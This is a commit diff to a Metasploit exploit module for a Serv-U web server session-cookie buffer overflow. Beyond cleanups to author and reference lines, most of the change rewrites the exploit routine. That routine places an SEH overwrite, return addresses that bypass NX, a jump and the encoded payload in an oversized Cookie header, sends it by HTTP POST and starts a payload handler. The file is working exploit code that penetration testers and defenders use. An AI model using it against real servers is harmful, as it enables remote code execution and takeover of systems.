miscellanous cleanups and minimized

git-svn-id: file:///home/svn/framework3/trunk@7421 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/http/servu_session_cookie.rb

@@ -25,14 +25,15 @@ class Metasploit3 < Msf::Exploit::Remote
 			},
 			'Author'         =>
 				[
-					'Nikolas Rangos nikolaos[at]rangos.de',
-					'M.Yanagishita megumi1990[at]gmail.com ', 
-					'jduck jduck[at]metasploit.com'
+					'Nikolas Rangos <nikolaos[at]rangos.de>',
+					'M.Yanagishita <megumi1990[at]gmail.com>', 
+					'jduck'
 				],
 			'License'        => MSF_LICENSE,
 			'Version'        => '$Revision$',
 			'References'     =>
 				[
+					[ 'OSVDB', '59772' ],
 					[ 'URL', 'http://rangos.de/ServU-ADV.txt' ],
 					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ],
 				],
@@ -71,41 +72,33 @@ class Metasploit3 < Msf::Exploit::Remote
 	def exploit
 		
 		# hit end of stack..
-		# sploit = make_nops(50000)
-		sploit = rand_text(50000)
+		sploit = Rex::Text.rand_text(1000) * 75
 		
-		# new SEH handler
-		sploit[40948,4] = [target['FixESP']].pack('V')
+		# new SEH handler (point esp into buffer)
+		sploit[41000,4] = [target['FixESP']].pack('V')
 		
 		# stack frame to bypass NX
-		sploit[0,4] = [target['FixESI']].pack('V')
-		sploit[4,4] = [0x10200].pack('V')
-		sploit[8,4] = [target['FixEBP']].pack('V')
-		sploit[12,4] = [target['Ret']].pack('V')
-		sploit[16,4] = [target['JmpESP']].pack('V')
-		sploit[20,4] = [target['DisableNX']].pack('V')
-		sploit[24,2] = "\xeb\x20"
-		sploit[40,payload.encoded.length] = payload.encoded
-		
-		# TODO: randomize!
-		buf = "Cookie: killmenothing; SULang=de%%2CDE; themename=vista;"
-		buf << " Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb9507545814"
-		buf << sploit.unpack('H*')[0]
-		buf << "\r\n"
-		buf << "Content-Type: multipart/form-data; boundary=---------------------------25249352331758\r\n"
-		buf << "Content-Length: 0\r\n"
-		buf << "\r\n";
+		sploit[52+0,4] = [target['FixESI']].pack('V')
+		sploit[52+4,4] = [0x10200].pack('V')
+		sploit[52+8,4] = [target['FixEBP']].pack('V')
+		sploit[52+12,4] = [target['Ret']].pack('V')
+		sploit[52+16,4] = [target['JmpESP']].pack('V')
+		sploit[52+20,4] = [target['DisableNX']].pack('V')
+		sploit[52+24,2] = "\xeb\x20"
+		sploit[52+40,payload.encoded.length] = payload.encoded
 		
 		req =  "POST / HTTP/1.1\r\n"
 		req << "Host: #{rhost}:#{rport}\r\n"
-		req << buf
-		# req << "Content-Length: #{data.length}" + "\r\n\r\n" + data + "\r\n\r\n"
+		req << "Cookie: Session=_"
+		req << sploit.unpack('H*')[0]
+		req << "\r\n"
+		req << "\r\n";
 
 		connect
 		print_status("Trying target #{target.name}..." % target['Ret'])
 		sock.put(req)
 		
-		sleep(5)
+		select(nil, nil, nil, 1.5)
 		handler
 	end